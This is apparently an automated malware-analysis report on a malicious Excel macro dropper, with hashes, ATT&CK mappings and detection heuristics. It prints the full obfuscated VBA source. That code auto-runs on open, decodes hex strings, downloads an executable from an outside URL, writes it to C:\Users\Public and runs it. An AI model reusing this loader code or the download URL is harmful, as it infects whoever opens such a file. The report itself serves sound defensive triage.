Office (OOXML) malware analysis — malicious · b29a4e94a19a7a48

MALICIOUS

Office (OOXML)

117.5 KB First seen: 2020-09-15

MD5: c2dd16a774c71c8807e3b7da7018d356 SHA-1: 34753f0f451ba6dc44623e7050d528a05b79199a SHA-256: b29a4e94a19a7a488a37054b74c86aa6e43830bd10c675ddbe80274aead159cc

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated Workbook_Open subroutine that utilizes CreateObject to download a file from the URL 'http://federict.ml/temp/lorfgt.exe' and save it for execution. This behavior is consistent with a macro-based dropper designed to fetch and run a second-stage payload.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz.write yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6587 bytes
SHA-256: `7a290ea45a11641673c63a07dea2bd88a8ffe5f3d524dd712dc6455b85e188a7`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select jbknycvuytcfzqqwaptxjlfkkojuposmwjckyulanvxeowyqpiinehoyvzdksaekbqiqngxgetknnbvnptfgfeiouepzrahmqndy"68 74 74 70 3A 2F 2F 66 65 64 65 72 69 63 74 2E 6D 6C 2F 74 65 6D 70 2F 6C 6F 72 66 67 74 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub jbknycvuytcfzqqwaptxjlfkkojuposmwjckyulanvxeowyqpiinehoyvzdksaekbqiqngxgetknnbvnptfgfeiouepzrahmqndy (xwmffngzdapgisyjrwgwjzfnbiogohoblbbatirtkufujspqruqiaefxrzewyzkwmougqyqifnmpukdisyptqfahwditeuuljjiv As String) Dim yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh Range("A6:J13").Select Dim xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz Range("A6:J13").Select Dim dlzdjpibwqsgmxotenblrgqffbofhhofszmzwropdtkqcjxmudqetmiwuuyibctobnonlpxnzmhxwadvebleqklfrqebsgnaavop Range("A6:J13").Select Set yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set dlzdjpibwqsgmxotenblrgqffbofhhofszmzwropdtkqcjxmudqetmiwuuyibctobnonlpxnzmhxwadvebleqklfrqebsgnaavop = CreateObject(oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) wmlwkqgkvysntyrdgunffaewanxibmgjbewytrnscdpjnzfdnwybwxvvipvxsxjirilpbtjohvcbkujbiuuenfndiapevqzeugse = oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi(xwmffngzdapgisyjrwgwjzfnbiogohoblbbatirtkufujspqruqiaefxrzewyzkwmougqyqifnmpukdisyptqfahwditeuuljjiv) npbumjubvukofupydfumvigbdftqvxhecenstzrekliopbyabbbplfifjzrgqefxmglbhwednqcjzsmbhspuwsswvijtikngglbi = oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 71 73 69 67 70 74 6D 74 73 2e 65 78 65") qxtewxbvdzfqnpzyolbuoofynlvcdwdoqdlkykxyqxtwdsgslprujhubrvqlczrhvrakepzendervivuedroeiejjksdtmwrfmal = oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 71 73 69 67 70 74 6D 74 73 2e 65 78 65") yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh.Open chr(71) + chr(69) + chr(84), wmlwkqgkvysntyrdgunffaewanxibmgjbewytrnscdpjnzfdnwybwxvvipvxsxjirilpbtjohvcbkujbiuuenfndiapevqzeugse, False yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh.send xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz.Type = 1 xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz.Open xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz.write yiateicnspdgvveakqggonkmpwelsaflcikkxvpicmpgabyjqubtcchlynehdrurjsenktcobydbydmnyvuyzmiabzmjrheksxwh.responseBody xkywrmseyfnubqjixvrxkdmlhswttsiagepowyhmudbvmriayvnwfzxuymoypylgxmnxbvlyoedgbrzqkvuxeluhgvqkkixvsvyz.savetofile npbumjubvukofupydfumvigbdftqvxhecenstzrekliopbyabbbplfifjzrgqefxmglbhwednqcjzsmbhspuwsswvijtikngglbi, 2 dlzdjpibwqsgmxotenblrgqffbofhhofszmzwropdtkqcjxmudqetmiwuuyibctobnonlpxnzmhxwadvebleqklfrqebsgnaavop.Run qxtewxbvdzfqnpzyolbuoofynlvcdwdoqdlkykxyqxtwdsgslprujhubrvqlczrhvrakepzendervivuedroeiejjksdtmwrfmal End Sub Public Function oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi(ByVal ukbefdfhfkauqcdzqoxrbivulwutyhxamnbuahznfeahqjkqcojlywomogtjjlixmzidbjyjpkmwhnebleqkxmcpzofunqdtwcuq As String) As String Dim bhotpavnjrfabsyfuyaaxsdmdewzhsaetoadpxuxqofhjesvrxyxcusiebpldwgqrahnsuqxddkjmvdylbhjuccywrynhjtuipqj As String Dim wfdwhbuykjwiyrzcowwoxjrawdqtkqbxfubgxkctieonuqoqkqflsclnocadlaothyddpsedudgtuegfozjtkqfcjosvjyihpufv As String Dim nlarlcqovstkwvplrvjrtaubajtwvzdzyksdyshizqgqvhyoiwpulncmqzqciutwotlmcmmznasdtdgskfnyjjoligmzbfzfwkcb As Long For nlarlcqovstkwvplrvjrtaubajtwvzdzyksdyshizqgqvhyoiwpulncmqzqciutwotlmcmmznasdtdgskfnyjjoligmzbfzfwkcb = 1 To Len(ukbefdfhfkauqcdzqoxrbivulwutyhxamnbuahznfeahqjkqcojlywomogtjjlixmzidbjyjpkmwhnebleqkxmcpzofunqdtwcuq)Step 3 bhotpavnjrfabsyfuyaaxsdmdewzhsaetoadpxuxqofhjesvrxyxcusiebpldwgqrahnsuqxddkjmvdylbhjuccywrynhjtuipqj = Chr$(Val("&H" & Mid$(ukbefdfhfkauqcdzqoxrbivulwutyhxamnbuahznfeahqjkqcojlywomogtjjlixmzidbjyjpkmwhnebleqkxmcpzofunqdtwcuq, nlarlcqovstkwvplrvjrtaubajtwvzdzyksdyshizqgqvhyoiwpulncmqzqciutwotlmcmmznasdtdgskfnyjjoligmzbfzfwkcb, 2))) wfdwhbuykjwiyrzcowwoxjrawdqtkqbxfubgxkctieonuqoqkqflsclnocadlaothyddpsedudgtuegfozjtkqfcjosvjyihpufv = wfdwhbuykjwiyrzcowwoxjrawdqtkqbxfubgxkctieonuqoqkqflsclnocadlaothyddpsedudgtuegfozjtkqfcjosvjyihpufv & bhotpavnjrfabsyfuyaaxsdmdewzhsaetoadpxuxqofhjesvrxyxcusiebpldwgqrahnsuqxddkjmvdylbhjuccywrynhjtuipqj Next nlarlcqovstkwvplrvjrtaubajtwvzdzyksdyshizqgqvhyoiwpulncmqzqciutwotlmcmmznasdtdgskfnyjjoligmzbfzfwkcb oicjkbikwbkuepuyvxewiuwiqypemyxayxzhqwwdvxrtuuubgi = wfdwhbuykjwiyrzcowwoxjrawdqtkqbxfubgxkctieonuqoqkqflsclnocadlaothyddpsedudgtuegfozjtkqfcjosvjyihpufv End Function Attribute VB_Name = "swnvpnggddfizwgyhdcmmqatx" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `2677a3b8fef71c31ab4915902fa09985b8a097004abae69de18c6429b5aa21bc`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 117 of 215 identifiers look randomly generated (e.g. 'D5D779569B2F9F2F9F2BA32BA3') — consistent with name-mangling obfuscation.

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